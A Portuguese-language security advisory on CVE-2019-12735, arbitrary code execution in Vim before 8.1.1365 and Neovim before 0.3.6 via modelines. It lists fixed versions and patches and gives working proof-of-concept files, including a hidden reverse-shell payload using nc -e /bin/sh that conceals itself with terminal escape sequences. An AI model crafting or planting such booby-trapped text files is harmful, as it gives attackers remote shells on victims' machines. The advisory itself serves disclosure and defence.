For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00323
Identificador(es)
ASA-2019-00323, CVE-2019-12735
Título
Execução arbitrária de código via modelines
Fabricante(s)
Bram Moolenaar
Neovim project
Produto(s)
Vim
Neovim
Versão(ões) afetada(s)
Vim versões anteriores a 8.1.1365
Neovim versões anteriores a 0.3.6
Versão(ões) corrigida(s)
Vim versão 8.1.1365
Neovim versão 0.3.6
Prova de conceito
Sim
Descrição
As versões do Vim anteriores a 8.1.1365 e Neovim anteriores a 0.3.6 são vulneráveis à execução de código arbitrário via modelines, abrindo um arquivo de texto especialmente criado.
Detalhes técnicos
Criar poc.txt:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Assegure-se de que a opção modeline não tenha sido desativada (:set modeline).
Abra o arquivo com Vim
$ vim poc.txt
O sistema executará uname -a.
Prova de conceito 2 (shell reversa)
Este PoC descreve uma abordagem de ataque real na qual uma shell reverso é lançado assim que o usuário abre o arquivo. Para esconder o ataque, o arquivo será imediatamente reescrito quando aberto. Além disso, o PoC usa sequências de escape de terminal para ocultar o modeline quando o conteúdo é impresso com cat. (cat -v revela o conteúdo real.)
shell.txt:
\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n
Details
The modeline feature allows to specify custom editor options near the start or end of a file. This feature is enabled by default and applied to all file types, including plain .txt. A typical modeline:
/* vim: set textwidth=80 tabstop=8: */
Por motivos de segurança, somente um subconjunto de opções é permitido em modelines e, se o valor da opção contiver uma expressão, ela será executada em uma sandbox: [4]
No other commands than “set” are supported, for security reasons (somebody might create a Trojan horse text file with modelines). And not all options can be set. For some options a flag is set, so that when it’s used the |sandbox| is effective.
A sandbox serve para evitar efeitos colaterais: [5]
The ‘foldexpr’, ‘formatexpr’, ‘includeexpr’, ‘indentexpr’, ‘statusline’ and ‘foldtext’ options may be evaluated in a sandbox. This means that you are protected from these expressions having nasty side effects. This gives some safety for when these options are set from a modeline.
No entanto, o comando :source! (com o modificador bang [!]) pode ser usado para ignorar a sandbox. Ele lê e executa comandos de um determinado arquivo como se digitado manualmente, executando-os depois que a sandbox foi deixada. [6]
:so[urce]! {file} Read Vim commands from {file}. These are commands that are executed from Normal mode, like you type them.
Assim, pode-se construir trivialmente uma modeline que execute código fora da sandbox:
# vim: set foldexpr=execute('\:source! some_file'):
Um passo adicional é necessário para Neovim que coloca execute() em lista negra: [7]
execute({command} [, {silent}]) *execute()*
Execute {command} and capture its output.
[…]
This function is not available in the |sandbox|.
Aqui, assert_fails() pode ser usado em vez disso, o que também leva um argumento {cmd}: [8]
assert_fails({cmd} [, {error} [, {msg}]]) *assert_fails()*
Run {cmd} and add an error message to |v:errors| if it does
NOT produce an error.
A modeline a seguir utiliza uma expressão fold para executar a source! % para executar o arquivo atual, que por sua vez executa uname -a || “(lixo)” como um comando shell:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
Além disso, a função nvim_input() somente do Neovim é vulnerável à mesma abordagem por meio de, por exemplo:
vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0
Créditos
Arminius (@rawsec)
Referência(s)
[1] – Vim/Neovim Arbitrary Code Execution via Modelines
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
[2] – patch 8.1.1365: source command doesn’t check for the sandbox
https://github.com/vim/vim/commit/5357552
[3] – vim-patch:8.1.1365: :source should check sandbox #10082
https://github.com/neovim/neovim/pull/10082
[4] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/options.txt#L582
[5] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/eval.txt#L13050
[6] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/vim/vim/blob/5c017b2de28d19dfa4af58b8973e32f31bb1477e/runtime/doc/repeat.txt#L182
[7] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L3247
[8] – VIM REFERENCE MANUAL by Bram Moolenaar
https://github.com/neovim/neovim/blob/1060bfd0338253107deaac346e362a9feab32068/runtime/doc/eval.txt#L2494
CVE-2019-12735
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735
CVE-2019-12735
https://nvd.nist.gov/vuln/detail/CVE-2019-12735
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 13 agosto 2019